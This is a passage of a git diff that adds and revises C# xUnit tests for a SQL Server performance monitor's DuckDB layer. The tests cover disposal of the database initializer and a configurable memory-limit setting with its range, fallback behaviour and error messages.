+        Assert.Equal([1], Offenders("class Fake : DuckDbInitializer\n{\n}\n").Offenders);
+        Assert.Equal([3], Offenders("class C\n{\n    sealed class Fake(string p) : Base, PerformanceMonitorLite.Database.DuckDbInitializer\n    {\n    }\n}\n").Offenders);
+
+        /* A mention in a comment or a string is not a construction. */
+        Assert.Empty(Offenders("class C\n{\n    // var x = new DuckDbInitializer(p);\n    string s = \"new DuckDbInitializer(p)\";\n}\n").Offenders);
+    }
+
+    /// <summary>Target-typed <c>new(</c>: only a site when it is assigned to a name declared as an initializer or added to a list of them.</summary>
+    private static readonly Regex TargetTyped = new(@"\bnew\s*\(", RegexOptions.Compiled);
+
+    /// <summary>A class or record that derives from the initializer: its constructions are invisible to <see cref="Construction"/>.</summary>
+    private static readonly Regex Subclass = new(
+        @"\b(?:class|record)\s+\w+(?:<[^>]*>)?\s*(?:\([^)]*\))?\s*:\s*(?:[\w.<>]+\s*,\s*)*(?:[\w.]+\.)?DuckDbInitializer\b",
+        RegexOptions.Compiled);
+
+    private static readonly Regex UsingBefore = new(@"\busing\s*\(?\s*(?:var|[\w.]+\??)\s+\w+\s*=\s*$", RegexOptions.Compiled);
+    private static readonly Regex DeclBefore = new(@"\b(?:var|(?:[\w.]+\.)?DuckDbInitializer\??)\s+(\w+)\s*=\s*$", RegexOptions.Compiled);
+    private static readonly Regex NameBefore = new(@"(\w+)\s*=\s*$", RegexOptions.Compiled);
+    private static readonly Regex AddBefore = new(@"(\w+)\s*\.\s*Add\s*\(\s*$", RegexOptions.Compiled);
+
+    private static (int Total, List<int> Offenders) Offenders(string text)
+    {
+        var code = CSharpSourceWalker.CodeMask(text);
+        var offenders = new List<int>();
+        var total = 0;
+
+        foreach (var at in Sites(text, code))
+        {
+            total++;
+            var lineStart = text.LastIndexOf('\n', at) + 1;
+            if (!IsDisposed(text, code, at, text[lineStart..at]))
+            {
+                offenders.Add(LineOf(text, at));
+            }
+        }
+
+        /* A subclass is constructed under its own name, which no regex here can follow: no test has one, so none may start. */
+        offenders.AddRange(Subclass.Matches(text).Cast<Match>().Where(m => code[m.Index]).Select(m => LineOf(text, m.Index)));
+        offenders.Sort();
+        return (total, offenders);
+    }
+
+    private static int LineOf(string text, int at) => text.Take(at).Count(c => c == '\n') + 1;
+
+    /// <summary>Every construction: <c>new DuckDbInitializer(</c>, plus target-typed <c>new(</c> assigned to an initializer name or added to a list of them.</summary>
+    private static List<int> Sites(string text, bool[] code)
+    {
+        var sites = Construction.Matches(text).Cast<Match>().Select(m => m.Index).Where(i => code[i]).ToList();
+        var initNames = Regex.Matches(text, @"(?:[\w.]+\.)?DuckDbInitializer\??\s+(\w+)\b").Cast<Match>().Select(m => m.Groups[1].Value).ToHashSet();
+        var listNames = Regex.Matches(text, @"<\s*(?:[\w.]+\.)?DuckDbInitializer\s*>\??\s+(\w+)\b|\b(\w+)\s*=\s*new\s+\w+\s*<\s*(?:[\w.]+\.)?DuckDbInitializer\s*>")
+            .Cast<Match>().Select(m => m.Groups[1].Success ? m.Groups[1].Value : m.Groups[2].Value).ToHashSet();
+
+        foreach (var match in TargetTyped.Matches(text).Cast<Match>().Where(m => code[m.Index]))
+        {
+            var before = text[(text.LastIndexOf('\n', match.Index) + 1)..match.Index];
+            var declared = Regex.IsMatch(before, @"(?:[\w.]+\.)?DuckDbInitializer\??\s+\w+\s*=\s*$");
+            var assigned = NameBefore.Match(before);
+            var added = AddBefore.Match(before);
+
+            if (declared
+                || (assigned.Success && initNames.Contains(assigned.Groups[1].Value))
+                || (added.Success && listNames.Contains(added.Groups[1].Value)))
+            {
+                sites.Add(match.Index);
+            }
+        }
+
+        sites.Sort();
+        return sites;
+    }
+
+    /// <summary>
+    /// Disposed in the scope the name lives in: a local in its own method, a field in its own class, a list entry
+    /// through a <c>foreach</c> over that list in the same class. A <c>using</c> counts only when it is on the
+    /// construction itself, so <c>using var svc = new Svc(new DuckDbInitializer(p))</c> is not disposed.
+    /// </summary>
+    private static bool IsDisposed(string text, bool[] code, int at, string before)
+    {
+        if (UsingBefore.IsMatch(before))
+        {
+            return true;
+        }
+
+        var blocks = EnclosingBlocks(text, code, at);
+        var classIndex = blocks.FindLastIndex(b => IsTypeBlock(text, code, b.Open));
+        var cls = classIndex >= 0 ? blocks[classIndex] : (Open: 0, Close: text.Length);
+        (int Open, int Close)? method = classIndex + 1 < blocks.Count ? blocks[classIndex + 1] : null;
+
+        var list = AddBefore.Match(before);
+        if (list.Success)
+        {
+            return ListDisposed(text, code, list.Groups[1].Value, cls);
+        }
+
+        var assigned = NameBefore.Match(before);
+        if (!assigned.Success)
+        {
+            return false;
+        }
+
+        var name = assigned.Groups[1].Value;
+        var declared = DeclBefore.IsMatch(before);
+        var localInMethod = method is { } m
+            && Regex.IsMatch(text[m.Open..at], $@"\b(?:var|DuckDbInitializer\??)\s+{Regex.Escape(name)}\s*[=;]");
+        var scope = (declared || localInMethod) && method is { } own ? own : cls;
+
+        if (DisposedIn(text, code, name, scope.Open, scope.Close))
+        {
+            return true;
+        }
+
+        return Regex.Matches(text, $@"\b(\w+)\s*\.\s*Add\s*\(\s*{Regex.Escape(name)}\s*\)").Cast<Match>()
+            .Any(a => a.Index >= scope.Open && a.Index < scope.Close && code[a.Index]
+                && ListDisposed(text, code, a.Groups[1].Value, cls));
+    }
+
+    private static bool DisposedIn(string text, bool[] code, string name, int start, int end) =>
+        Regex.Matches(text, $@"\b{Regex.Escape(name)}\s*\??\.\s*Dispose\s*\(").Cast<Match>()
+            .Any(m => m.Index >= start && m.Index < end && code[m.Index]);
+
+    /// <summary>The class disposes every entry of the list: a <c>foreach</c> over it whose body disposes the loop variable, or the list's own dispose helper.</summary>
+    private static bool ListDisposed(string text, bool[] code, string list, (int Open, int Close) cls)
+    {
+        var escaped = Regex.Escape(list);
+        foreach (var loop in Regex.Matches(text, $@"\bforeach\s*\(\s*(?:var|[\w.<>?]+)\s+(\w+)\s+in\s+{escaped}\b").Cast<Match>())
+        {
+            if (loop.Index < cls.Open || loop.Index >= cls.Close || !code[loop.Index])
+            {
+                continue;
+            }
+
+            var bodyStart = MatchClose(text, code, text.IndexOf('(', loop.Index), '(', ')') + 1;
+            var next = bodyStart;
+            while (next < text.Length && char.IsWhiteSpace(text[next]))
+            {
+                next++;
+            }
+
+            var bodyEnd = next < text.Length && text[next] == '{' ? MatchClose(text, code, next, '{', '}') : text.IndexOf(';', next);
+            if (bodyEnd > bodyStart && DisposedIn(text, code, loop.Groups[1].Value, bodyStart, bodyEnd))
+            {
+                return true;
+            }
+        }
+
+        return Regex.Matches(text, $@"\b{escaped}\s*\??\.\s*(Dispose\w*|ForEach)\s*\(").Cast<Match>().Any(m =>
+            m.Index >= cls.Open && m.Index < cls.Close && code[m.Index]
+            && (m.Groups[1].Value != "ForEach" || text[m.Index..Math.Max(m.Index, text.IndexOf(';', m.Index))].Contains(".Dispose(", StringComparison.Ordinal)));
+    }
+
+    /// <summary>The brace blocks around <paramref name="at"/>, outermost first, found on the code mask so braces in strings and comments do not count.</summary>
+    private static List<(int Open, int Close)> EnclosingBlocks(string text, bool[] code, int at)
+    {
+        var open = new List<int>();
+        for (var i = 0; i < at; i++)
+        {
+            if (!code[i])
+            {
+                continue;
+            }
+
+            if (text[i] == '{')
+            {
+                open.Add(i);
+            }
+            else if (text[i] == '}' && open.Count > 0)
+            {
+                open.RemoveAt(open.Count - 1);
+            }
+        }
+
+        return open.Select(o => (Open: o, Close: MatchClose(text, code, o, '{', '}'))).ToList();
+    }
+
+    /// <summary>Index of the bracket that closes the one at <paramref name="open"/>, or the end of the text.</summary>
+    private static int MatchClose(string text, bool[] code, int open, char opener, char closer)
+    {
+        var depth = 0;
+        for (var i = open; i < text.Length; i++)
+        {
+            if (!code[i])
+            {
+                continue;
+            }
+
+            if (text[i] == opener)
+            {
+                depth++;
+            }
+            else if (text[i] == closer && --depth == 0)
+            {
+                return i;
+            }
+        }
+
+        return text.Length;
+    }
+
+    /// <summary>True when the block at <paramref name="open"/> is the body of a class, struct, record or interface.</summary>
+    private static bool IsTypeBlock(string text, bool[] code, int open)
+    {
+        /* Comments and strings are blanked first: a doc comment that says "the record of" is not a record. */
+        var headerStart = text.LastIndexOfAny([';', '{', '}'], Math.Max(open - 1, 0)) + 1;
+        var header = new string(Enumerable.Range(headerStart, open - headerStart).Select(i => code[i] ? text[i] : ' ').ToArray());
+        return Regex.IsMatch(header, @"\b(?:class|struct|record|interface)\b");
+    }
+
+    private static IEnumerable<string> TestSourceFiles(string testsDir) =>
+        Directory.EnumerateFiles(testsDir, "*.cs", SearchOption.AllDirectories)
+            .Where(path => !Path.GetRelativePath(testsDir, path)
+                .Split(Path.DirectorySeparatorChar, Path.AltDirectorySeparatorChar)
+                .Any(segment => segment is "bin" or "obj"))
+            .Where(path => !string.Equals(Path.GetFileName(path), nameof(DuckDbInitializerDisposalGuardTests) + ".cs", StringComparison.Ordinal))
+            .OrderBy(path => path, StringComparer.Ordinal);
+
+    private static string RepoRoot([CallerFilePath] string thisFile = "")
+    {
+        for (var dir = new DirectoryInfo(Path.GetDirectoryName(thisFile)!); dir is not null; dir = dir.Parent)
+        {
+            if (Directory.Exists(Path.Combine(dir.FullName, "PerformanceMonitor.Collectors")))
+            {
+                return dir.FullName;
+            }
+        }
+
+        throw new DirectoryNotFoundException($"could not locate the repo root walking up from {thisFile}");
+    }
+}
diff --git a/Lite.Tests/DuckDbMemoryLimitSettingTests.cs b/Lite.Tests/DuckDbMemoryLimitSettingTests.cs
new file mode 100644
index 0000000000..8cf2cfab04
--- /dev/null
+++ b/Lite.Tests/DuckDbMemoryLimitSettingTests.cs
@@ -0,0 +1,369 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Runtime.CompilerServices;
+using System.Threading.Tasks;
+using DuckDB.NET.Data;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #5457 (owner ruling 2026-10-08): the main DuckDB connection's <c>memory_limit</c> is a Lite setting
+/// (<c>duckdb_memory_limit_gb</c> in settings.json, Settings &gt; Dashboard Defaults). Default 2 GB, a whole
+/// number of GB from 1 to 80% of physical memory, applied at startup. These pins hold the default, the range and
+/// the fallback, and that every reader of the limit (the connection string, the COPY raise and its restore, the
+/// trim cycle's restore) follows the setting, and that an out-of-memory message names it.
+/// </summary>
+/* Same collection as MainConnectionLimitsTests: these tests set the process-wide ConfiguredMemoryLimitGb. */
+[Collection("CollectionResetGate")]
+public class DuckDbMemoryLimitSettingTests : IDisposable
+{
+    private const long Gb = 1024L * 1024 * 1024;
+
+    private readonly string _tempDir;
+    private readonly string _dbPath;
+    private readonly int _originalGb = DuckDbInitializer.ConfiguredMemoryLimitGb;
+
+    public DuckDbMemoryLimitSettingTests()
+    {
+        _tempDir = Path.Combine(Path.GetTempPath(), "LiteTests_" + Guid.NewGuid().ToString("N")[..8]);
+        Directory.CreateDirectory(_tempDir);
+        _dbPath = Path.Combine(_tempDir, "test.duckdb");
+    }
+
+    public void Dispose()
+    {
+        DuckDbInitializer.ConfiguredMemoryLimitGb = _originalGb;
+        try
+        {
+            if (Directory.Exists(_tempDir))
+                Directory.Delete(_tempDir, recursive: true);
+        }
+        catch { /* best-effort temp cleanup */ }
+    }
+
+    private static async Task<string> ReportedMemoryLimitAsync(string setting)
+    {
+        using var connection = new DuckDBConnection("DataSource=:memory:");
+        await connection.OpenAsync();
+        using (var set = connection.CreateCommand())
+        {
+            set.CommandText = $"SET memory_limit = '{setting}'";
+            await set.ExecuteNonQueryAsync();
+        }
+        return await CurrentLimitAsync(connection);
+    }
+
+    private static async Task<string> CurrentLimitAsync(DuckDBConnection connection)
+    {
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = "SELECT current_setting('memory_limit')";
+        return Convert.ToString(await cmd.ExecuteScalarAsync()) ?? "";
+    }
+
+    [Fact]
+    public void Default_IsTwoGigabytes_DevsCurrentValue()
+    {
+        Assert.Equal(2, DuckDbMemoryLimitSetting.DefaultGb);
+        Assert.Equal(1, DuckDbMemoryLimitSetting.MinGb);
+        Assert.Equal(2, DuckDbMemoryLimitSetting.Resolve(null, 16 * Gb, out _));
+    }
+
+    [Theory]
+    [InlineData(16L, 12)]
+    [InlineData(8L, 6)]
+    [InlineData(4L, 3)]
+    [InlineData(2L, 1)]
+    [InlineData(1L, 1)]
+    public void MaxGb_IsEightyPercentOfPhysicalRoundedDownAndNeverBelowOne(long physicalGb, int expected)
+    {
+        Assert.Equal(expected, DuckDbMemoryLimitSetting.MaxGb(physicalGb * Gb));
+    }
+
+    [Fact]
+    public void MaxGb_RoundsDownNotUp()
+    {
+        /* 80% of 7 GB is 5.6 GB. */
+        Assert.Equal(5, DuckDbMemoryLimitSetting.MaxGb(7 * Gb));
+    }
+
+    [Theory]
+    [InlineData(0, false)]
+    [InlineData(1, true)]
+    [InlineData(2, true)]
+    [InlineData(12, true)]
+    [InlineData(13, false)]
+    [InlineData(-3, false)]
+    public void IsInRange_OnSixteenGigabyteMachine(int gb, bool expected)
+    {
+        Assert.Equal(expected, DuckDbMemoryLimitSetting.IsInRange(gb, 16 * Gb));
+    }
+
+    [Fact]
+    public void RangeText_StatesTheRange()
+    {
+        var text = DuckDbMemoryLimitSetting.RangeText(16 * Gb);
+        Assert.Contains("1 to 12 GB", text);
+        Assert.Contains("80%", text);
+    }
+
+    [Fact]
+    public void Resolve_ValidStoredValue_IsUsedWithoutANote()
+    {
+        var gb = DuckDbMemoryLimitSetting.Resolve("{\"duckdb_memory_limit_gb\": 6}", 16 * Gb, out var note);
+        Assert.Equal(6, gb);
+        Assert.Null(note);
+    }
+
+    [Theory]
+    [InlineData(null)]
+    [InlineData("")]
+    [InlineData("{}")]
+    [InlineData("{\"other\": 1}")]
+    [InlineData("[1,2]")]
+    [InlineData("{ not json")]
+    [InlineData("{\"duckdb_memory_limit_gb\": \"six\"}")]
+    [InlineData("{\"duckdb_memory_limit_gb\": 2.5}")]
+    [InlineData("{\"duckdb_memory_limit_gb\": 0}")]
+    [InlineData("{\"duckdb_memory_limit_gb\": -4}")]
+    [InlineData("{\"duckdb_memory_limit_gb\": 13}")]
+    [InlineData("{\"duckdb_memory_limit_gb\": 99999999999}")]
+    [InlineData("{\"duckdb_memory_limit_gb\": null}")]
+    public void Resolve_MissingUnparsableOrOutOfRange_FallsBackToDefaultWithOneNote(string? settingsText)
+    {
+        var gb = DuckDbMemoryLimitSetting.Resolve(settingsText, 16 * Gb, out var note);
+        Assert.Equal(DuckDbMemoryLimitSetting.DefaultGb, gb);
+        Assert.NotNull(note);
+        Assert.Contains("default 2 GB", note);
+    }
+
+    [Fact]
+    public void Resolve_OutOfRangeNote_StatesTheRange()
+    {
+        DuckDbMemoryLimitSetting.Resolve("{\"duckdb_memory_limit_gb\": 40}", 16 * Gb, out var note);
+        Assert.Contains("1 to 12 GB", note);
+    }
+
+    [Fact]
+    public void LoadAtStartup_InstallsTheStoredValue_AndAnUnusableOneFallsBackToDefault()
+    {
+        var physical = DuckDbMemoryLimitSetting.PhysicalMemoryBytes();
+        var max = DuckDbMemoryLimitSetting.MaxGb(physical);
+
+        DuckDbMemoryLimitSetting.LoadAtStartup("{\"duckdb_memory_limit_gb\": 1}");
+        Assert.Equal(1, DuckDbInitializer.ConfiguredMemoryLimitGb);
+
+        DuckDbMemoryLimitSetting.LoadAtStartup($"{{\"duckdb_memory_limit_gb\": {max + 1}}}");
+        Assert.Equal(DuckDbMemoryLimitSetting.DefaultGb, DuckDbInitializer.ConfiguredMemoryLimitGb);
+
+        DuckDbMemoryLimitSetting.LoadAtStartup(null);
+        Assert.Equal(DuckDbMemoryLimitSetting.DefaultGb, DuckDbInitializer.ConfiguredMemoryLimitGb);
+    }
+
+    [Fact]
+    public async Task ConnectionString_CarriesTheSetting()
+    {
+        DuckDbInitializer.ConfiguredMemoryLimitGb = 3;
+        using var initializer = new DuckDbInitializer(_dbPath);
+        Assert.Contains("memory_limit=3GB;", initializer.ConnectionString);
+        Assert.Equal("3GB", DuckDbInitializer.MainConnectionMemoryLimit);
+
+        await initializer.InitializeAsync();
+        using var connection = initializer.CreateConnection();
+        await connection.OpenAsync();
+        Assert.Equal(await ReportedMemoryLimitAsync("3GB"), await CurrentLimitAsync(connection));
+    }
+
+    [Theory]
+    [InlineData(1, "4GB")]
+    [InlineData(2, "4GB")]
+    [InlineData(4, "4GB")]
+    [InlineData(6, "6GB")]
+    public void CopyLimit_IsTheLargerOfFourGigabytesAndTheSetting(int settingGb, string expectedCopy)
+    {
+        DuckDbInitializer.ConfiguredMemoryLimitGb = settingGb;
+        Assert.Equal(expectedCopy, ArchiveService.MainConnectionCopyMemoryLimit);
+    }
+
+    [Theory]
+    [InlineData(1, "4GB")]
+    [InlineData(6, "6GB")]
+    public async Task CopyRaise_BelowAndAboveFourGigabytes_RaisesThenRestoresToTheSetting(int settingGb, string expectedDuring)
+    {
+        DuckDbInitializer.ConfiguredMemoryLimitGb = settingGb;
+        using var initializer = new DuckDbInitializer(_dbPath);
+        await initializer.InitializeAsync();
+        using var connection = initializer.CreateConnection();
+        await connection.OpenAsync();
+
+        string during = "";
+        await ArchiveService.WithRaisedCopyMemoryLimit(connection, async () =>
+        {
+            during = await CurrentLimitAsync(connection);
+        });
+
+        Assert.Equal(await ReportedMemoryLimitAsync(expectedDuring), during);
+        Assert.Equal(await ReportedMemoryLimitAsync($"{settingGb}GB"), await CurrentLimitAsync(connection));
+    }
+
+    [Theory]
+    [InlineData(1, 32, 4)]
+    [InlineData(2, 32, 8)]
+    [InlineData(2, 4, 4)]
+    [InlineData(2, 2, 2)]
+    [InlineData(4, 32, 8)]
+    [InlineData(64, 32, 8)]
+    [InlineData(1, 1, 1)]
+    public void ThreadsFor_IsMinOfCapCoresAndMemoryOver256Mb(int memoryGb, int cores, int expected)
+    {
+        Assert.Equal(expected, DuckDbInitializer.ThreadsFor(memoryGb, cores));
+        Assert.True(DuckDbInitializer.MainConnectionMemoryPerThreadMb >= 125, "DuckDB's documented minimum is 125 MB per thread");
+    }
+
+    [Fact]
+    public async Task Threads_FollowTheSetting_AndSurviveTheTrimCycleAndTheCopyRaise()
+    {
+        DuckDbInitializer.ConfiguredMemoryLimitGb = 1;
+        var expected = DuckDbInitializer.ThreadsFor(1, Environment.ProcessorCount);
+        using var initializer = new DuckDbInitializer(_dbPath);
+        Assert.Contains($"threads={expected};", initializer.ConnectionString);
+        await initializer.InitializeAsync();
+
+        using var connection = initializer.CreateConnection();
+        await connection.OpenAsync();
+        Assert.Equal(expected, await CurrentThreadsAsync(connection));
+
+        /* The COPY raise moves memory_limit to 4 GB; threads stay at the resting setting's count. */
+        await ArchiveService.WithRaisedCopyMemoryLimit(connection, async () =>
+            Assert.Equal(expected, await CurrentThreadsAsync(connection)));
+        Assert.Equal(expected, await CurrentThreadsAsync(connection));
+
+        var originalThreshold = DuckDbInitializer.TrimThresholdBytes;
+        DuckDbInitializer.TrimThresholdBytes = 1;
+        try
+        {
+            initializer.RunMemoryTrimCycle();
+            using var after = initializer.CreateConnection();
+            await after.OpenAsync();
+            Assert.Equal(expected, await CurrentThreadsAsync(after));
+        }
+        finally
+        {
+            DuckDbInitializer.TrimThresholdBytes = originalThreshold;
+        }
+    }
+
+    private static async Task<int> CurrentThreadsAsync(DuckDBConnection connection)
+    {
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = "SELECT current_setting('threads')";
+        return Convert.ToInt32(await cmd.ExecuteScalarAsync());
+    }
+
+    [Fact]
+    public async Task PreserveInsertionOrder_StaysOnForTheMainConnection()
+    {
+        using var initializer = new DuckDbInitializer(_dbPath);
+        await initializer.InitializeAsync();
+        using var connection = initializer.CreateConnection();
+        await connection.OpenAsync();
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = "SELECT current_setting('preserve_insertion_order')";
+        Assert.True(Convert.ToBoolean(await cmd.ExecuteScalarAsync()));
+    }
+
+    [Fact]
+    public async Task TrimCycle_RestoresTheSetting()
+    {
+        DuckDbInitializer.ConfiguredMemoryLimitGb = 3;
+        using var initializer = new DuckDbInitializer(_dbPath);
+        await initializer.InitializeAsync();
+
+        var originalThreshold = DuckDbInitializer.TrimThresholdBytes;
+        DuckDbInitializer.TrimThresholdBytes = 1;
+        try
+        {
+            initializer.RunMemoryTrimCycle();
+
+            using var connection = initializer.CreateConnection();
+            await connection.OpenAsync();
+            Assert.Equal(await ReportedMemoryLimitAsync("3GB"), await CurrentLimitAsync(connection));
+        }
+        finally
+        {
+            DuckDbInitializer.TrimThresholdBytes = originalThreshold;
+        }
+    }
+
+    [Theory]
+    [InlineData("Out of Memory Error: failed to pin block of size 256.0 KiB (1.8 GiB / 1.8 GiB used)")]
+    [InlineData("Out of Memory Error: could not free up enough memory for the new allocation")]
+    public void OutOfMemoryMessage_NamesTheSettingAndItsCurrentValue(string duckDbMessage)
+    {
+        DuckDbInitializer.ConfiguredMemoryLimitGb = 3;
+        var text = DuckDbMemoryLimitSetting.Describe(new InvalidOperationException(duckDbMessage));
+
+        Assert.StartsWith(duckDbMessage, text);
+        Assert.Contains("DuckDB memory limit", text);
+        Assert.Contains("Settings", text);
+        Assert.Contains("3 GB", text);
+    }
+
+    [Fact]
+    public void OutOfMemoryMessage_FoundInAnInnerException()
+    {
+        DuckDbInitializer.ConfiguredMemoryLimitGb = 5;
+        var ex = new InvalidOperationException("The read failed", new InvalidOperationException("Out of Memory Error: failed to pin block"));
+        Assert.Contains("5 GB", DuckDbMemoryLimitSetting.Describe(ex));
+    }
+
+    [Fact]
+    public void OtherErrors_AreLeftAlone()
+    {
+        var ex = new InvalidOperationException("Catalog Error: Table with name x does not exist");
+        Assert.Equal(ex.Message, DuckDbMemoryLimitSetting.Describe(ex));
+        Assert.False(DuckDbMemoryLimitSetting.IsOutOfMemory(null));
+    }
+
+    [Fact]
+    public void SaveReport_AnOutOfRangeMemoryLimit_IsAnObjection()
+    {
+        Assert.Equal(SettingsSaveOutcome.WrittenWithObjections,
+            SettingsSaveReport.Classify(true, false, true, true, true, memoryLimitValid: false));
+        Assert.Equal(SettingsSaveOutcome.Saved,
+            SettingsSaveReport.Classify(true, false, true, true, true));
+        Assert.Equal(SettingsSaveOutcome.NothingWritten,
+            SettingsSaveReport.Classify(false, false, true, true, true, memoryLimitValid: false));
+    }
+
+    /// <summary>
+    /// The Settings window rejects an out-of-range entry with a message that states the range, says the value is
+    /// not saved, and warns that a change needs a restart. A WPF window cannot be built here, so the source is
+    /// the pin.
+    /// </summary>
+    [Fact]
+    public void SettingsWindow_ValidatesThroughTheSharedRangeAndSaysItNeedsARestart()
+    {
+        var src = File.ReadAllText(Path.Combine(RepoRoot(), "Lite", "Windows", "SettingsWindow.xaml.cs"));
+        Assert.Contains("DuckDbMemoryLimitSetting.IsInRange(gb, physical)", src);
+        Assert.Contains("DuckDbMemoryLimitSetting.RangeText(physical)", src);
+        Assert.Contains("takes effect after Lite restarts", src);
+
+        var xaml = File.ReadAllText(Path.Combine(RepoRoot(), "Lite", "Windows", "SettingsWindow.xaml"));
+        Assert.Contains("DuckDbMemoryLimitBox", xaml);
+        Assert.Contains("Takes effect after Lite restarts", xaml);
+    }
+
+    private static string RepoRoot([CallerFilePath] string thisFile = "")
+        => Path.GetFullPath(Path.Combine(Path.GetDirectoryName(thisFile)!, ".."));
+}
diff --git a/Lite.Tests/DuckDbSchemaTests.cs b/Lite.Tests/DuckDbSchemaTests.cs
index ef1fe3dd4b..c7152178e2 100644
--- a/Lite.Tests/DuckDbSchemaTests.cs
+++ b/Lite.Tests/DuckDbSchemaTests.cs
@@ -40,7 +40,7 @@ public void Dispose()
     [Fact]
     public async Task InitializeAsync_CreatesAllTables()
     {
-        var initializer = new DuckDbInitializer(_dbPath);
+        using var initializer = new DuckDbInitializer(_dbPath);
         await initializer.InitializeAsync();
 
         var expectedTables = new[]
@@ -99,7 +99,7 @@ public async Task InitializeAsync_CreatesAllTables()
     [Fact]
     public async Task InitializeAsync_SetsCorrectSchemaVersion()
     {
-        var initializer = new DuckDbInitializer(_dbPath);
+        using var initializer = new DuckDbInitializer(_dbPath);
         await initializer.InitializeAsync();
 
         using var connection = new DuckDBConnection($"Data Source={_dbPath}");
@@ -115,7 +115,7 @@ public async Task InitializeAsync_SetsCorrectSchemaVersion()
     [Fact]
     public async Task InitializeAsync_IsIdempotent()
     {
-        var initializer = new DuckDbInitializer(_dbPath);
+        using var initializer = new DuckDbInitializer(_dbPath);
 
         /* Run twice — should not throw */
         await initializer.InitializeAsync();
@@ -134,7 +134,7 @@ public async Task InitializeAsync_IsIdempotent()
     [Fact]
     public async Task InitializeAsync_CreatesArchiveDirectory()
     {
-        var initializer = new DuckDbInitializer(_dbPath);
+        using var initializer = new DuckDbInitializer(_dbPath);
         await initializer.InitializeAsync();
 
         var archivePath = Path.Combine(_tempDir, "archive");
@@ -169,7 +169,7 @@ the database-state alert's database_states collector + config_database_state_exp
     [Fact]
     public async Task InitializeAsync_CreatesIndexes()
     {
-        var initializer = new DuckDbInitializer(_dbPath);
+        using var initializer = new DuckDbInitializer(_dbPath);
         await initializer.InitializeAsync();
 
         using var connection = new DuckDBConnection($"Data Source={_dbPath}");
diff --git a/Lite.Tests/DuckDbSentinelConnectionTests.cs b/Lite.Tests/DuckDbSentinelConnectionTests.cs
index 68813d4f95..f52d965fac 100644
--- a/Lite.Tests/DuckDbSentinelConnectionTests.cs
+++ b/Lite.Tests/DuckDbSentinelConnectionTests.cs
@@ -73,7 +73,7 @@ public void Dispose()
     [Fact]
     public async Task ResetDatabaseAsync_WithLiveSentinel_NewConnectionSeesEmptyTable()
     {
-        var initializer = new DuckDbInitializer(_dbPath);
+        using var initializer = new DuckDbInitializer(_dbPath);
         await initializer.InitializeAsync();
 
         await SeedCollectionLogRowAsync(initializer, "TestCollector");
@@ -100,7 +100,7 @@ public async Task ResetDatabaseAsync_WithLiveSentinel_NewConnectionSeesEmptyTabl
     [Fact]
     public async Task ArchiveAllAndResetAsync_WithLiveSentinel_ClearsHotTableThroughRealPath()
     {
-        var initializer = new DuckDbInitializer(_dbPath);
+        using var initializer = new DuckDbInitializer(_dbPath);
         await initializer.InitializeAsync();
 
         await SeedCollectionLogRowAsync(initializer, "ArchivedCollector");
@@ -142,7 +142,7 @@ physical_memory_mb BIGINT NOT NULL
             await ExecAsync(seed, "CREATE INDEX idx_server_properties_time ON server_properties(server_id, collection_time)");
         }
 
-        var initializer = new DuckDbInitializer(_dbPath);
+        using var initializer = new DuckDbInitializer(_dbPath);
         await initializer.InitializeAsync();
 
         using (var verify = new DuckDBConnection($"Data Source={_dbPath}"))
@@ -166,7 +166,7 @@ physical_memory_mb BIGINT NOT NULL
     [Fact]
     public async Task Dispose_ClosesSentinel_FileDeletableAfterward()
     {
-        var initializer = new DuckDbInitializer(_dbPath);
+        using var initializer = new DuckDbInitializer(_dbPath);
         await initializer.InitializeAsync();
 
         Assert.Throws<IOException>(() => File.Open(_dbPath, FileMode.Open, FileAccess.Read, FileShare.None).Dispose());
@@ -230,7 +230,7 @@ private static async Task ExecAsync(DuckDBConnection connection, string sql)
     [Fact]
     public async Task ReadSentinelMemoryUsageBytes_RealConnection_ReturnsPositiveNumber()
     {
-        var initializer = new DuckDbInitializer(_dbPath);
+        using var initializer = new DuckDbInitializer(_dbPath);
         await initializer.InitializeAsync();
 
         using var connection = initializer.CreateConnection();
@@ -252,7 +252,7 @@ public async Task ReadSentinelMemoryUsageBytes_RealConnection_ReturnsPositiveNum
     [Fact]
     public async Task RunMemoryTrimCycle_OverThreshold_RestoresConfiguredMemoryLimit()
     {
-        var initializer = new DuckDbInitializer(_dbPath);
+        using var initializer = new DuckDbInitializer(_dbPath);
         await initializer.InitializeAsync();
 
         var originalThreshold = DuckDbInitializer.TrimThresholdBytes;
@@ -290,7 +290,7 @@ public async Task RunMemoryTrimCycle_OverThreshold_RestoresConfiguredMemoryLimit
     [Fact]
     public async Task RunMemoryTrimCycle_ReadLockHeldByAnotherThread_SkipsWithoutWaiting()
     {
-        var initializer = new DuckDbInitializer(_dbPath);
+        using var initializer = new DuckDbInitializer(_dbPath);
         await initializer.InitializeAsync();
 
         var originalThreshold = DuckDbInitializer.TrimThresholdBytes;
@@ -334,7 +334,7 @@ public async Task RunMemoryTrimCycle_ReadLockHeldByAnotherThread_SkipsWithoutWai
     [Fact]
     public async Task RunMemoryTrimCycle_OverThreshold_IncrementsCompletedCycleCount()
     {
-        var initializer = new DuckDbInitializer(_dbPath);
+        using var initializer = new DuckDbInitializer(_dbPath);
         await initializer.InitializeAsync();
 
         var originalThreshold = DuckDbInitializer.TrimThresholdBytes;
@@ -374,7 +374,7 @@ public async Task RunMemoryTrimCycle_OverThreshold_IncrementsCompletedCycleCount
     [Fact]
     public async Task RunMemoryTrimCycle_RacingReset_NeverThrowsAndResetStillCompletes()
     {
-        var initializer = new DuckDbInitializer(_dbPath);
+        using var initializer = new DuckDbInitializer(_dbPath);
         await initializer.InitializeAsync();
         await SeedCollectionLogRowAsync(initializer, "TestCollector");
 
@@ -427,7 +427,7 @@ public async Task RunMemoryTrimCycle_RacingReset_NeverThrowsAndResetStillComplet
     [Fact]
     public async Task Dispose_ReadLockHeldOnAnotherThread_ReturnsWithoutHangingOrThrowing()
     {
-        var initializer = new DuckDbInitializer(_dbPath);
+        using var initializer = new DuckDbInitializer(_dbPath);
         await initializer.InitializeAsync();
 
         var readerReady = new ManualResetEventSlim();
